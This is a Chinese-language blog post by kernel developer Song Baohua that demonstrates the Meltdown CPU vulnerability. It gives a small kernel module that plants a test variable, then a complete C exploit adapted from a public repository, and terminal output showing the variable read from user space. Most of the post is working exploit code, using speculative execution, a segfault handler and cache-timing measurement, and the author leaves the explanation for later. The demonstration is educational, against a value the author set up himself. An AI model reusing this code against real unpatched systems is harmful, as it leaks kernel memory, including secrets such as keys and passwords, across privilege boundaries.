宋宝华: 用代码切身实践体会meltdown漏洞

时间:2021-06-23 14:14:16

宋宝华: 用代码切身实践体会meltdown漏洞

本文是我在Ubuntu 14.04上面进行的meltdown漏洞的亲测。meltdown漏洞,使得我们可以在用户空间读到内核空间的数据,做越权访问。

我感觉每天YY看技术文章,而不去亲自试验,总是无法切身体会,因此我们来把它实例化,直接写代码看效果!
本文暂时不涉及技术细节,只贴相关的代码。详细的原理,希望后面有机会再叙述。文章中涉及到的所有代码,我都放在了我的github上面:https://github.com/21cnbao/meltdown-example.git

首先写一个内核模块,包含一个很简单的proc接口,里面有个内核全局变量variable=0x12345678,这个proc接口暴露这个全局变量。

我待会尝试用一个应用程序meltdown-baohua.c来把这个内核空间变量从用户空间偷出来。

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/init.h>

#include <linux/version.h>

#include <linux/proc_fs.h>

#include <linux/seq_file.h>

#include <asm/uaccess.h>


static unsigned int variable=0x12345678;

static struct proc_dir_entry  *test_entry;


static int test_proc_show(struct seq_file *seq, void *v)

{

unsigned int *ptr_var = seq->private;

seq_printf(seq, "%u\n", *ptr_var);

return 0;

}


static int test_proc_open(struct inode *inode, struct file *file)

{

return single_open(file, test_proc_show, PDE_DATA(inode));

}


static const struct file_operations test_proc_fops =

{

.owner = THIS_MODULE,

.open = test_proc_open,

.read = seq_read,

.llseek = seq_lseek,

.release = single_release,

};


static __init int test_proc_init(void)

{

printk("variable addr:%p\n", &variable);


test_entry = proc_create_data("stolen_data",0444, NULL, &test_proc_fops, &variable);

if (test_entry)

return 0;


return -ENOMEM;

}

module_init(test_proc_init);


static __exit void test_proc_cleanup(void)

{

remove_proc_entry("stolen_data", NULL);

}

module_exit(test_proc_cleanup);


MODULE_AUTHOR("Barry Song <baohua@kernel.org>");

MODULE_DESCRIPTION("proc exmaple");

MODULE_LICENSE("GPL v2");

这个模块对应的Makefile如下:

宋宝华: 用代码切身实践体会meltdown漏洞

把它编译执行并加载:

#make

#sudo insmod proc.ko

然后dmesg看出来printk("variable addr:%p\n", &variable);这一行打印的variable地址是:

[25996.868363] variable addr:f9adf000


然后我们用下面的程序来偷取f9adf000数据:

#define _GNU_SOURCE


#include <stdio.h>

#include <string.h>

#include <signal.h>

#include <ucontext.h>

#include <unistd.h>

#include <fcntl.h>

#include <ctype.h>


#include <x86intrin.h>


//#define DEBUG 1


/* comment out if getting illegal insctructions error */

#ifndef HAVE_RDTSCP

# define HAVE_RDTSCP 1

#endif


#if !(defined(__x86_64__) || defined(__i386__))

# error "Only x86-64 and i386 are supported at the moment"

#endif



#define TARGET_OFFSET12

#define TARGET_SIZE(1 << TARGET_OFFSET)

#define BITS_READ8

#define VARIANTS_READ(1 << BITS_READ)


static char target_array[VARIANTS_READ * TARGET_SIZE];


void clflush_target(void)

{

int i;


for (i = 0; i < VARIANTS_READ; i++)

_mm_clflush(&target_array[i * TARGET_SIZE]);

}


extern char stopspeculate[];


static void __attribute__((noinline))

speculate(unsigned long addr)

{

#ifdef __x86_64__

asm volatile (

"1:\n\t"


".rept 300\n\t"

"add $0x141, %%rax\n\t"

".endr\n\t"


"movzx (%[addr]), %%eax\n\t"

"shl $12, %%rax\n\t"

"jz 1b\n\t"

"movzx (%[target], %%rax, 1), %%rbx\n"


"stopspeculate: \n\t"

"nop\n\t"

:

: [target] "r" (target_array),

  [addr] "r" (addr)

: "rax", "rbx"

);

#else /* ifdef __x86_64__ */

asm volatile (

"1:\n\t"


".rept 300\n\t"

"add $0x141, %%eax\n\t"

".endr\n\t"


"movzx (%[addr]), %%eax\n\t"

"shl $12, %%eax\n\t"

"jz 1b\n\t"

"movzx (%[target], %%eax, 1), %%ebx\n"



"stopspeculate: \n\t"

"nop\n\t"

:

: [target] "r" (target_array),

  [addr] "r" (addr)

: "rax", "rbx"

);

#endif

}


static inline int

get_access_time(volatile char *addr)

{

int time1, time2, junk;

volatile int j;


#if HAVE_RDTSCP

time1 = __rdtscp(&junk);

j = *addr;

time2 = __rdtscp(&junk);

#else

time1 = __rdtsc();

j = *addr;

_mm_mfence();

time2 = __rdtsc();

#endif


return time2 - time1;

}


static int cache_hit_threshold;

static int hist[VARIANTS_READ];

void check(void)

{

int i, time, mix_i;

volatile char *addr;


for (i = 0; i < VARIANTS_READ; i++) {

mix_i = ((i * 167) + 13) & 255;


addr = &target_array[mix_i * TARGET_SIZE];

time = get_access_time(addr);


if (time <= cache_hit_threshold)

hist[mix_i]++;

}

}


void sigsegv(int sig, siginfo_t *siginfo, void *context)

{

ucontext_t *ucontext = context;


#ifdef __x86_64__

ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;

#else

ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;

#endif

return;

}


int set_signal(void)

{

struct sigaction act = {

.sa_sigaction = sigsegv,

.sa_flags = SA_SIGINFO,

};


return sigaction(SIGSEGV, &act, NULL);

}


#define CYCLES 1000

int readbyte(int fd, unsigned long addr)

{

int i, ret = 0, max = -1, maxi = -1;

static char buf[256];


memset(hist, 0, sizeof(hist));


for (i = 0; i < CYCLES; i++) {

ret = pread(fd, buf, sizeof(buf), 0);

if (ret < 0) {

perror("pread");

break;

}


clflush_target();


speculate(addr);

check();

}


#ifdef DEBUG

for (i = 0; i < VARIANTS_READ; i++)

if (hist[i] > 0)

printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]);

#endif


for (i = 1; i < VARIANTS_READ; i++) {

if (hist[i] && hist[i] > max) {

max = hist[i];

maxi = i;

}

}


return maxi;

}


static char *progname;

int usage(void)

{

printf("%s: [hexaddr] [size]\n", progname);

return 2;

}


static int mysqrt(long val)

{

int root = val / 2, prevroot = 0, i = 0;


while (prevroot != root && i++ < 100) {

prevroot = root;

root = (val / root + root) / 2;

}


return root;

}


#define ESTIMATE_CYCLES1000000

static void

set_cache_hit_threshold(void)

{

long cached, uncached, i;


if (0) {

cache_hit_threshold = 80;

return;

}


for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

cached += get_access_time(target_array);


for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)

cached += get_access_time(target_array);


for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {

_mm_clflush(target_array);

uncached += get_access_time(target_array);

}


cached /= ESTIMATE_CYCLES;

uncached /= ESTIMATE_CYCLES;


cache_hit_threshold = mysqrt(cached * uncached);


printf("cached = %ld, uncached = %ld, threshold %d\n",

       cached, uncached, cache_hit_threshold);

}


static int min(int a, int b)

{

return a < b ? a : b;

}


int main(int argc, char *argv[])

{

int ret, fd, i, is_vulnerable;

unsigned long addr, size;


progname = argv[0];

if (argc < 3)

return usage();


if (sscanf(argv[1], "%lx", &addr) != 1)

return usage();


if (sscanf(argv[2], "%lx", &size) != 1)

return usage();


memset(target_array, 1, sizeof(target_array));


ret = set_signal();


set_cache_hit_threshold();


fd = open("/proc/stolen_data", O_RDONLY);

if (fd < 0) {

perror("open");

return -1;

}


for (i = 0; i < size; i++) {

ret = readbyte(fd, addr);

if (ret == -1)

ret = 0xff;

printf("read %lx = %x %c (score=%d/%d)\n",

       addr, ret, isprint(ret) ? ret : ' ',

       ret != 0xff ? hist[ret] : 0,

       CYCLES);


addr++;

}


close(fd);


return 0;

}

上述程序改编自:https://github.com/paboldin/meltdown-exploit.git

编译上述程序,并执行偷取:

baohua@baohua-VirtualBox:~/meltdown-exploit$ gcc -O2 -msse2 meltdown-baohua.c 

baohua@baohua-VirtualBox:~/meltdown-exploit$ sudo ./a.out f9adf000 4

[sudo] password for baohua: 

cached = 31, uncached = 312, threshold 98

read f9adf000 = 78 x (score=120/1000)

read f9adf001 = 56 V (score=129/1000)

read f9adf002 = 34 4 (score=218/1000)

read f9adf003 = 12   (score=178/1000)

这样我们就偷取到了f9adf000开始的4个字节,12345678了!

详细的原理,暂时没有时间讲了,读者们可以先动手做起来!


文章中涉及到的所有代码,我都放在了:https://github.com/21cnbao/meltdown-example.git
Enjoy!

快,关注这个公众号,一起涨姿势~

宋宝华: 用代码切身实践体会meltdown漏洞